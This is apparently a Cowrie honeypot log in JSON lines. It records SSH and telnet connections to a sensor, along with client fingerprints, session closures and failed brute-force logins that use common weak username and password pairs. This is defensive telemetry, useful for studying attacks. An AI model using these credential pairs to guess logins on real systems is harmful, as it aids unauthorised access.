af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:19.455598Z","src_ip":"185.239.84.249","session":"e590e42eb040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dx@123456","message":"login attempt [root/Dx@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:20.312428Z","src_ip":"185.239.84.249","session":"e590e42eb040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:21.519965Z","src_ip":"185.239.84.249","session":"e590e42eb040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":38470,"dst_ip":"159.203.135.109","dst_port":23,"session":"035d66df8021","protocol":"telnet","message":"New connection: 188.166.220.49:38470 (159.203.135.109:23) [session: 035d66df8021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:25.051781Z"}
{"eventid":"cowrie.session.closed","duration":34.033180713653564,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:26.069046Z","src_ip":"46.4.8.162","session":"ee016d7b80fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":60682,"dst_ip":"159.203.135.109","dst_port":23,"session":"d29f27cf51cd","protocol":"telnet","message":"New connection: 46.4.8.162:60682 (159.203.135.109:23) [session: d29f27cf51cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:30.902141Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":60686,"dst_ip":"159.203.135.109","dst_port":23,"session":"8863f8310c47","protocol":"telnet","message":"New connection: 46.4.8.162:60686 (159.203.135.109:23) [session: 8863f8310c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:31.172433Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":43914,"dst_ip":"159.203.135.109","dst_port":23,"session":"5598af6a2696","protocol":"telnet","message":"New connection: 46.4.8.162:43914 (159.203.135.109:23) [session: 5598af6a2696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:39.934416Z"}
{"eventid":"cowrie.session.closed","duration":31.74115228652954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:41.543628Z","src_ip":"46.4.8.162","session":"af1329bdbde7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":58366,"dst_ip":"159.203.135.109","dst_port":23,"session":"44d8322866ee","protocol":"telnet","message":"New connection: 46.4.8.162:58366 (159.203.135.109:23) [session: 44d8322866ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:45.039896Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48854,"dst_ip":"159.203.135.109","dst_port":22,"session":"15eb6bd2e43f","protocol":"ssh","message":"New connection: 159.203.92.129:48854 (159.203.135.109:22) [session: 15eb6bd2e43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:52.815776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:52.820967Z","src_ip":"159.203.92.129","session":"15eb6bd2e43f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:52.826039Z","src_ip":"159.203.92.129","session":"15eb6bd2e43f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwepoi","message":"login attempt [admin/qwepoi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:52.837794Z","src_ip":"159.203.92.129","session":"15eb6bd2e43f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:33:53.850994Z","src_ip":"159.203.92.129","session":"15eb6bd2e43f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.827287912368774,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:00.878983Z","src_ip":"188.166.220.49","session":"035d66df8021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.464202880859375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:04.366260Z","src_ip":"46.4.8.162","session":"d29f27cf51cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.226314306259155,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:06.398677Z","src_ip":"46.4.8.162","session":"8863f8310c47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73172450065613,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:13.665992Z","src_ip":"46.4.8.162","session":"5598af6a2696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44716,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce37f471d753","protocol":"telnet","message":"New connection: 46.4.8.162:44716 (159.203.135.109:23) [session: ce37f471d753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:15.715825Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.14.210","src_port":47036,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2d1ea4b0231","protocol":"ssh","message":"New connection: 115.190.14.210:47036 (10.17.0.5:22) [session: a2d1ea4b0231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:17.768288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:17.791229Z","src_ip":"115.190.14.210","session":"a2d1ea4b0231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:18.009608Z","src_ip":"115.190.14.210","session":"a2d1ea4b0231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.76376247406006,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:18.803557Z","src_ip":"46.4.8.162","session":"44d8322866ee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890987654321","message":"login attempt [root/1234567890987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:19.112712Z","src_ip":"115.190.14.210","session":"a2d1ea4b0231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":54840,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d14ad3286a9","protocol":"ssh","message":"New connection: 185.239.84.249:54840 (159.203.135.109:22) [session: 7d14ad3286a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:19.920195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:19.925079Z","src_ip":"185.239.84.249","session":"7d14ad3286a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:20.139369Z","src_ip":"185.239.84.249","session":"7d14ad3286a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:20.337381Z","src_ip":"115.190.14.210","session":"a2d1ea4b0231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":36021,"dst_ip":"10.17.0.5","dst_port":22,"session":"1efb44668614","protocol":"ssh","message":"New connection: 212.154.234.9:36021 (10.17.0.5:22) [session: 1efb44668614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:20.360586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:20.364997Z","src_ip":"212.154.234.9","session":"1efb44668614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:20.559684Z","src_ip":"212.154.234.9","session":"1efb44668614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e4r","message":"login attempt [test/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:20.780277Z","src_ip":"185.239.84.249","session":"7d14ad3286a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testssh","password":"123456789","message":"login attempt [testssh/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:21.345739Z","src_ip":"212.154.234.9","session":"1efb44668614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:21.996436Z","src_ip":"185.239.84.249","session":"7d14ad3286a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:22.537941Z","src_ip":"212.154.234.9","session":"1efb44668614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":58806,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1571338501d","protocol":"telnet","message":"New connection: 46.4.8.162:58806 (159.203.135.109:23) [session: b1571338501d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:25.992249Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":58810,"dst_ip":"159.203.135.109","dst_port":23,"session":"20f4569b7f35","protocol":"telnet","message":"New connection: 46.4.8.162:58810 (159.203.135.109:23) [session: 20f4569b7f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:27.031809Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56496,"dst_ip":"159.203.135.109","dst_port":22,"session":"776c461e8f88","protocol":"ssh","message":"New connection: 159.203.92.129:56496 (159.203.135.109:22) [session: 776c461e8f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:35.437262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:35.442545Z","src_ip":"159.203.92.129","session":"776c461e8f88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:35.447347Z","src_ip":"159.203.92.129","session":"776c461e8f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwer1234","message":"login attempt [admin/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:35.469305Z","src_ip":"159.203.92.129","session":"776c461e8f88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:36.484461Z","src_ip":"159.203.92.129","session":"776c461e8f88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44370,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5a6fe12757e","protocol":"telnet","message":"New connection: 46.4.8.162:44370 (159.203.135.109:23) [session: e5a6fe12757e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:42.615748Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44386,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d5403fed210","protocol":"telnet","message":"New connection: 46.4.8.162:44386 (159.203.135.109:23) [session: 3d5403fed210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:43.254162Z"}
{"eventid":"cowrie.session.closed","duration":37.42898678779602,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:53.144670Z","src_ip":"46.4.8.162","session":"ce37f471d753","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52144,"dst_ip":"159.203.135.109","dst_port":23,"session":"58eed254a48e","protocol":"telnet","message":"New connection: 46.4.8.162:52144 (159.203.135.109:23) [session: 58eed254a48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:34:57.959151Z"}
{"eventid":"cowrie.session.closed","duration":34.56056332588196,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:00.552668Z","src_ip":"46.4.8.162","session":"b1571338501d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.545982837677,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:00.577590Z","src_ip":"46.4.8.162","session":"20f4569b7f35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.64.77","src_port":57334,"dst_ip":"10.17.0.5","dst_port":22,"session":"1817b50f0c9e","protocol":"ssh","message":"New connection: 118.196.64.77:57334 (10.17.0.5:22) [session: 1817b50f0c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:06.272897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:06.283402Z","src_ip":"118.196.64.77","session":"1817b50f0c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:35:06.507123Z","src_ip":"118.196.64.77","session":"1817b50f0c9e","protocol":"ssh"}
